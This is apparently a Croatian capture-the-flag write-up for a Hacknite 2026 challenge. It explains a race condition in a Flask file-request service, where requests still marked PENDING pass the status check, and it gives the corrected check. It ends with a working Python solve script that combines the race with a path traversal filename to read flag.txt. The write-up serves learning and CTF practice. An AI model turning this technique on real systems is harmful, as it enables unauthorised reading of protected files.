Table of Contents

Zadatak s natjecanja Hacknite 2026 - Permission Security Check System Showcase

Samo najbrži stižu do flaga! Možete li i vi?

http://chal.platforma.hacknite.hr:14068

Kontekst zadatka

Uz zadatak je dan izvorni kod.

Pristupom stranici zadatka prikazan je popis dostupnih datoteka i unos za ime datoteke koja se želi pročitati.

Kad se unese neka od dostupnih datoteka, pojavi se novi zahtjev kojemu je status prvo PENDING, nakon čega postaje APPROVED uz opciju Read File.

Ako se unese ime zabranjene ili nepostojeće datoteke, status je također prvo PENDING, nakon čega postaje REJECTED, uz poruku Blocked umjesto Read File. Svaki zahtjev odmah pri podnošenju ima pridijeljen ID, npr.

ID #0719b206-a004-4319-95b4-b43d92a695a9

Ovaj ID je vidljiv odmah, dok je zahtjev još u stanju PENDING.

 Slika 1 - Sučelje stranice i zahtjevi

Klikom na gumb Read File za odobreni zahtjev, otvara se prikaz izvršavanja zahtjeva čitanja i sadržaj datoteke:

 Slika 2 - Čitanje datoteke

Na prikazu se može vidjeti ID zahtjeva koji je isti kao i u prethodnom sučelju:

0719b206-a004-4319-95b4-b43d92a695a9

Također je vidljiva i vrijednost Integrity Checksum

Pregledom izvornog koda može se vidjeti da je endpoint /create zadužen za stvaranje zahtjeva.

@app.route('/create', methods=['POST'])
def create():
    if 'user_id' not in session:
        session['user_id'] = str(uuid.uuid4())
 
    filename = request.form.get('filename') or request.json.get('filename')
    if not filename:
        flash("Filename is required.", "danger")
        return redirect('/')
 
    user_id = session['user_id']
 
    request_id = str(uuid.uuid4())
 
    db = get_db()
    db.execute("INSERT INTO requests (id, user_id, filename) VALUES (?, ?, ?)", 
               (request_id, user_id, filename))
    db.commit()
    db.close()
 
    Thread(target=security_scanner_worker, args=(request_id, filename)).start()
 
    if request.is_json or 'application/json' in request.headers.get('Accept', ''):
        return jsonify({"id": request_id, "status": "PENDING", "filename": filename})
 
    return redirect('/')

Svakom se stvorenom zahtjevu prvo pridjeljuje nasumično generiran ID te se zahtjev potom sprema u bazu. Nakon toga se stvara nova dretva kojoj se prosljeđuje funkcija security_scanner_worker.

Završetak izvršavanja dretve se ne čeka, nego funkcija odmah korisniku vraća odgovor sa statusom PENDING, nazivom zatražene datoteke i nasumično generiranim ID-em zahtjeva.

Funkcija dretve prvo koristi algoritam PBKDF2 za derivaciju ključa iz passworda, a zatim dobivenu vrijednost koristi kao sažetak sadržaja zahtjeva. Nakon toga provjerava je li zahtjev dozvoljen i zapisuje u bazu podatka je li zahtjev odobren ili odbijen:

def security_scanner_worker(request_id, filename):
    salt = os.urandom(16)
 
    data_to_hash = f"{request_id}{filename}".encode('utf-8')
    raw_hash = hashlib.pbkdf2_hmac('sha256', data_to_hash, salt, 500000)
    hash_hex = raw_hash.hex()
 
    db = get_db()
    try:
        if filename in ALLOWED_FILES:
            db.execute("UPDATE requests SET status = 'APPROVED', hash_value = ? WHERE id = ?", (hash_hex, request_id))
        else:
            db.execute("UPDATE requests SET status = 'REJECTED', hash_value = ? WHERE id = ?", (hash_hex, request_id))
        db.commit()
    except Exception as e:
        print(f"Worker DB Error: {e}")
    finally:
        db.close()

Ovdje je važno primijetiti konfiguraciju računanja vrijednosti koja se koristi kao sažetak:

hashlib.pbkdf2_hmac('sha256', data_to_hash, salt, 500000)

Vrijednost 500 000 označava broj iteracija, što znači da je izračunavanje ove vrijednosti računalno zahtjevno i da je za to potreban vremenski interval koji nije zanemariv.

Kod koji se koristi za izvršavanje podnesenog zahtjeva se pokreće na endpointu /execute/<req_id>:

@app.route('/execute/<req_id>', methods=['POST'])
def execute(req_id):
    user_id = session.get('user_id')
    db = get_db()
    req = db.execute("SELECT * FROM requests WHERE id = ? AND user_id = ?", (req_id, user_id)).fetchone()
    db.close()
 
    if not req:
        return "Request not found", 404
 
    if req['status'] == "REJECTED":
        return "Access Denied: File blocked by security policy.", 403
 
    time.sleep(1.0)
 
    try:
        target_path = f"{STORED_FILES_DIR}/{req['filename']}"
 
        if not os.path.exists(target_path):
            return f"Error: File '{target_path}' does not exist on the server filesystem.", 404
 
        with open(target_path, 'r') as f:
            content = f.read()
 
        display_hash = req['hash_value'] or "[ERR]"
 
        audit_log = (
            f"<html><body><div>"
            f"====================================<br>"
            f"          AUDIT LOG REPORT          <br>"
            f"====================================<br>"
            f"Request ID : {req['id']}<br>"
            f"Target File: {req['filename']}<br>"
            f"Integrity Checksum: {display_hash}<br>"
            f"====================================<br>"
            f"File Content:<br><br>"
            f"{content}<br>"
            f"</div></body></html>"
        )
 
        return audit_log
    except Exception as e:
        return f"Error reading file: {str(e)}", 500

Iz koda je vidljivo da se ID zahtjeva koristi kao argument za njegovo izvršavanje. Taj se ID potom koristi za dohvat zahtjeva iz baze. Ako status zahtjeva nema vrijednost REJECTED, zahtjev za čitanjem datoteke se izvršava i sadržaj datoteke se vraća korisniku.

Pronalazak ranjivosti

Uzevši u obzir redoslijed operacija, računalno zahtjevan način računanja sažetka zahtjeva unutar dretve i način provjere statusa zahtjeva pri pokušaju izvršavanja, može se zaključiti da kod potencijalno sadrži ranjivost tipa Race Condition.

Linija koda za provjeru statusa zahtjeva:

if req['status'] == "REJECTED":
    return "Access Denied: File blocked by security policy.", 403

Smatra zahtjev zabranjenim za izvršavanje samo ako mu je status REJECTED, umjesto da ga smatra odobrenim samo ako mu je status APPROVED:

if req['status'] != "APPROVED":
    return "Access Denied: File blocked by security policy.", 403

Ovo je ranjivo, jer postoji kratko međustanje u kojem zahtjev postoji u bazi podataka, dok još status i sažetak nisu izračunati i postavljeni. Uzrok tome je što dretva koja računa sažetak zahtjeva i postavlja status na odobren ili odbijen nije još izvršila posao do kraja.

Ako se pokuša izvršiti bilo koji zahtjev dok se nalazi u međustanju, prije nego što dretva dovrši izvršavanje i postavi status zahtjeva, za status će se koristiti default vrijednost PENDING.

def init_db():
    db = get_db()
    db.execute("PRAGMA journal_mode=WAL;")
    db.execute('''CREATE TABLE IF NOT EXISTS requests 
                  (id TEXT PRIMARY KEY, 
                   user_id TEXT, 
                   filename TEXT, 
                   status TEXT DEFAULT 'PENDING',
                   hash_value TEXT)''')
    db.commit()
    db.close()

U tom slučaju izvršavanje zahtjeva neće biti zabranjeno:

if ''PENDING'' == "REJECTED":
    return "Access Denied: File blocked by security policy.", 403
 
... Nastavi izvršavanje ...

Iskorištavanje ranjivosti

Kako bi se ova ranjivost iskoristila, potrebno je poslati dva HTTP zahtjeva s minimalnim vremenskim razmakom, prvi zahtjev traži čitanje datoteke koja bi inače bila zabranjena, a drugi zahtjev se treba izvršiti prije nego što zabrana za čitanje datoteke iz prethodnog zahtjeva bude zapisana u bazu podataka.

Problem je u tome što je za drugi zahtjev potrebno znati nasumično generirani ID kako bi se moglo zatražiti izvršavanje zahtjeva za čitanje datoteke definiranog prvim zahtjevom.

Potrebno je automatizirati slanje prvog zahtjeva, iz čijeg odgovora se čita vraćeni ID, te odmah iskoristiti tu vrijednost za slanje drugog zahtjeva kako bi se prestigla dretva koja će u bazu podataka zapisati zabranu izvršavanja.

Skripta koja rješava zadatak korištenjem opisane tehnike:

import requests
import time
import sys
 
URL = "http://chal.platforma.hacknite.hr:14068/"
 
def solve():
    session = requests.Session()
 
    try:
        session.get(URL)
    except requests.exceptions.ConnectionError:
        print("[-] Connection failed")
        sys.exit(1)
 
    print("[*] Creating flag.txt request")
 
    create_resp = session.post(
        f"{URL}/create", 
        json={"filename": "../../../../flag.txt"}, 
        headers={"Accept": "application/json"}
    )
 
    if create_resp.status_code != 200:
        print("[-] Failed creating request.")
        sys.exit(1)
 
    req_id = create_resp.json()["id"]
    print(f"[+] Request created - ID: {req_id}")
 
    # ==========================================
    # RACE CONDITION
    # window: ~0.25 seconds to worker rejecting flag.txt request
    # ==========================================
 
    print(f"[*] Racing to req execution #{req_id}")
 
    start_time = time.time()
    exec_resp = session.post(f"{URL}/execute/{req_id}")
    end_time = time.time()
 
    print(f"\n[*] Execute endpoint returned after {round(end_time - start_time, 2)} s")
    print("-------------------------------------------------")
 
    if "CTF2026[" in exec_resp.text:
        print("[+] Flag:")
        print(exec_resp.text.strip())
    else:
        print("[-] No flag in res. Response:")
        print(exec_resp.text.strip())
 
if __name__ == "__main__":
    solve()